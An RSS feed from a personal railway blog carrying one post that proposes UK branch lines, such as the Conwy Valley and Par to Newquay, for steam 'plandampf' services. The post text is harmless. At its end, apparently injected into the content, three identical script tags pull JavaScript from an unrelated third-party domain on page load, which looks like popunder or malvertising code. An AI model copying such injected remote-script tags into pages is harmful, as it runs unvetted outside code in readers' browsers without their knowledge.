<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Plandampf</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/plandampf/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>What Plandampf Should Be Next?</title>
		<link>http://www.kalyr.co.uk/weblog/railways/transport/what-plandampf-should-be-next/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/transport/what-plandampf-should-be-next/#comments</comments>
		<pubDate>Tue, 21 Feb 2017 16:41:03 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Kettles]]></category>
		<category><![CDATA[Plandampf]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=17751</guid>
		<description><![CDATA[After the success of the plandampf on the S&#038;C, what other routes would be good candidates for something similar? <a href="http://www.kalyr.co.uk/weblog/railways/transport/what-plandampf-should-be-next/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p><a href="https://kalyr.smugmug.com/Trains/Preserved-Railways/Porthmadog-2015/i-s7wrKmj/A"><img title="Arriva class 150 at Blaenau Ffestiniog" alt="Arriva class 150 at Blaenau Ffestiniog" src="https://photos.smugmug.com/Trains/Preserved-Railways/Porthmadog-2015/i-s7wrKmj/0/M/DSC02680-M.jpg" width="600" height="399" /></a><br />
<small>How about replacing this with a steam train for a day or three?</small></p>
<p>After the success of the <a href="http://www.bbc.co.uk/news/uk-england-cumbria-39020181" target="_blank"><i>plandampf</i> on the Settle and Carlisle</a> line using 60103 &#8220;Tornado&#8221;, what other routes would be good candidates for something similar?</p>
<p>For the uninitiated, <i>plandampf</i> is a German word describing steam locomotives taking over regular scheduled services for a few days or a weekend rather than the more usual one-off special that doesn&#8217;t appear in the public timetable. It&#8217;s been a popular thing in Germany for many years.</p>
<p>Here are a few suggestions; since steam locomotives are restricted to 75mph on the main lines it rules out inter-city routes, much as we&#8217;d love to see a King running from Paddington to Plymouth instead of a High Speed Train.</p>
<p><b>The Conwy Valley line</b></p>
<p>This spectacularly scenic line is one of Wales&#8217; best-kept secrets, the one surviving standard-gauge line to run into the mountainous heart of Snowdonia, and also connects with the narrow-gauge Ffestiniog railway. As an operationally self-contained line, it&#8217;s ideal, and the current timetable allows a single train to operate the entire service, though a second locomotive might be needed to speed up the turn-round at Llandudno. The passing loop at Llanrwst North would also allow two-train operation for a more intensive service.</p>
<p><b>The Central Wales line</b></p>
<p>This is much longer scenic trip from Swansea to Shrewsbury over a meandering route through the hills of mid-Wales that allegedly only survived the Beeching cuts because it ran through so many marginal parliamentary constituencies. It has the advantage that there&#8217;s a triangle to turn the locomotive at both ends of the line, so no tender-first running over the most scenic part of the route The one potential problem is the reversal at Llanelli, though top-and-tail working with a diesel for the short section between Swansea and Llanelli might be one solution here.</p>
<p><b>Par to Newquay</b></p>
<p>This is another of those scenic Cinderella lines that, like the Conwy Valley, is crying out for some heritage traction. Lack of any run-round facilities at the Newquay end means top-and-tail working will be necessary, but it will likely need two locomotives to keep to time on those grades in any case; back in the steam days holiday trains needed banking on the 1 in 37 up the Luxulyan valley. A train with a Castle or Hall at the front and a 52XX 2-8-0T at the back would something to see slogging up that grade.</p>
<p><b>The Greenford Loop</b></p>
<p>For something completely different, how about this short and self-contained shuttle from West Ealing to Greenford in west London? Rather than a day out behind a big main-line locomotive this is ideal for a Great Western auto-train and the recently-restored steam railcar. The line is double track, so there&#8217;s the opportunity have two trains running at the same time.</p>
<p>Over to you. What lines would you love to see taken over by heritage traction for a day or three?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/railways/transport/what-plandampf-should-be-next/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
